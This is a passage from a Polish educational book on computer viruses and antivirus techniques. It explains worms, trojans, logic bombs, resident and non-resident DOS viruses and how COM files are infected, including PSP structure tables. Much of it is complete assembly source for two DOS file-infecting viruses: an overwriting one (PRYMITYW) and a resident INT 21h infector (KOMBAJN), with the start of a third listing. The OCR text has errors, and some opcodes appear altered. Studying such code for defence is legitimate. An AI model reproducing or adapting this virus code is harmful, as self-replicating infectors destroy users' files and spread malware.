Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji sieciowej, dzięki którym mogą przemieszczać się po całej sieci.
2.7. Konie trojańskie (ang. trojan horses)
Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie (najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do obsługi dysków.
2.8. Bomby logiczne (ang. logical bombs)
O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie (najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.
ROZDZIAŁ 3
3.1. Wirusy nierezydentne (ang. non-resident viruses)
Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu (programy COM przestaną "nagle" działać).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prymitywny wirus nierezydentny nadpisujacy, ;
; atakujacy i niszczacy pierwszy znaleziony ;
; w katalogu plik COM ;
; Kompilacja : ;
; TASM PRYMITYW.ASM ;
; TLINK /t PRYMITYW.OBJ ;
; ;
;----------------------------------------------------------------------------;
PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW
ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego kodu wirusa
WirStart:
mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu
int 21h ; wywolaj funkcje
mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje
xchg ax,bx ; przenies uchwyt pliku z AX do BX
mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
ret ; rownoznaczne z wykonaniem Int 20h
PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu
WirKoniec:
PRYMITYW ENDS
END WirStart
3.2. Wirusy rezydentne (ang. resident viruses)
Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, implementując w typowo jednozadaniowym środowisku mechanizm sztucznej wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, infekującego pliki COM podczas ich uruchamiania.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus rezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; Przejmuje przerwanie 21h ;
; Przejmuje przerwanie 24h na czas infekcji ;
; ;
; Kompilacja : ;
; TASM KOMBAJN.ASM ;
; TLINK /t KOMBAJN.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB do aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiwoac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany, wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa na pytanie, czy jest
iret ; / w pamieci
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem dyskietce, nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; \ DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy "MZ", to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy "ZM", to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX=starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; nie - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
jmp ZamknijPlik ; nie - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ (nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana)
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym, co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21)
StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie
ret ; powroc z wywolania
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16,
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza, czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jezeli tak, ustawia CF=0
cmp al,'T' ; \ jezeli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMBAJN ends
end start
3.2.1. Szybkie infektory (ang.fast infectors)
Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.
3.2.2. Wolne infektory (ang. slow infectors)
Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane programy antywirusowe.
ROZDZIAŁ 4
4.1. Pliki
Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze (ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstępny programu, otoczenie programu).
4.1.1. Pliki wykonywalne COM
Ze względu na swą prostą budowę programy typu COM od początku stanowiły smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM po załadowaniu do pamięci przedstawia poniższa tabela.
Wygląd programu COM po załadowaniu do pamięci:
|
Adres (względem segmentu), do którego został załadowany plik COM |
Zawartość pamięci
|
|
CS:0000-CS:0100 |
Blok wstępny PSP (patrz następna tabela) |
|
CS:0000-CS:???? |
Kod programu załadowany z pliku |
Format bloku wstępnego programu PSP
|
Adres w pamięci |
Zawartość |
|
00-01 |
Kod rozkazu int 21 h (CD 21) |
|
02-03 |
Adres segmentu pamięci niedostępnej dla programu |
|
04 |
Nie używane przez DOS, używane wewnętrznie przez OS/2 |
|
05-09 |
Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej procedury) |
|
06-07 |
Rozmiar dostępnej pamięci w segmencie |
|
0A-0D |
Zapamiętywany adres zakończenia programu (int 22h) |
|
0E-11 |
Adres programu obsługi CTRL-BREAK (int 23h) |
|
12-15 |
Adres programu obsługi błędów krytycznych (int 24h) |
|
16-17 |
Adres do segmentu pamięci, gdzie znajduje się blok PSP programu rodzicielskiego (interpretator poleceń modyfikuje to pole i wstawia tam adres swojego PSP) |
|
18-2B |
Tablica plików obsługiwanych przez proces JFT (ang. Job File Table); każdy element tablicy zawiera indeks wskazujący na element SFT (ang. System File Table) opisujący wszystkie otwarte w systemie pliki lub też wartość FF, jeżeli element nie jest używany |
|
2C-2D |
Adres segmentu pamięci, w którym znajduje się otoczenie programu, zawierające definicje zmiennych środowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Każdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego słowa określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 0001), a następnie umieszcza dalej nazwę uruchamianego programu. Umożliwia to procesowi dotarcie do pliku na dysku zawierającego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C. |
|
2E-31 |
Zapamiętane wartości SS:SP (używane podczas wywoływania funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed przełączeniem się na własny stos |
|
32-33 |
Liczba elementów tablicy JFT (standardowo =20) |
|
34-37 |
Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) umożliwia rozszerzenie ilości plików wykorzystywanych przez proces |
|
38-3B |
Daleki wskaźnik do poprzedniego bloku wstępnego PSP |
|
3C-4F |
Pola wykorzystywane wewnętrznie przez różne systemy operacyjne |
|
50-52 |
Kod rozkazów: INT 21 h RETF |
|
53-54 |
Nie używane |
|
55-5B |
Nie używane, można użyć, aby zmienić standardowy blok FCB na rozszerzony blok FCB |
|
5C-6B |
Standardowy blok opisu pliku FCB1 |
|
6C-7B |
Standardowy blok opisu pliku FCB2 |
|
7C-7F |
Nie używane |
|
80-FF |
Bufor transmisji dyskowych DTA. Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza wejściowego nie uwzględniając znaku CR. |
Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt długiego pliku COM niszczona będzie część programu znajdująca się przy końcu segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu wirusem.
Struktura niezainfekowanego pliku COM
|
Zawartość pliku |
|
Kod programu w tzw. postaci absolutnej |
Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
|
Zawartość pliku |
|
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR) Kod zainfekowanego programu Kod wirusa wraz z zapamiętanymi bajtami początkowymi |
Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu
|
Zawartość pliku |
|
Kod wirusa Przesunięty kod zainfekowanego programu Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki COM. |
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM KOMORKA.ASM ;
; TLINK /t KOMORKA.OBJ ;
; ;
;----------------------------------------------------------------------------;
KOMORKA SEGMENT
JUMPS
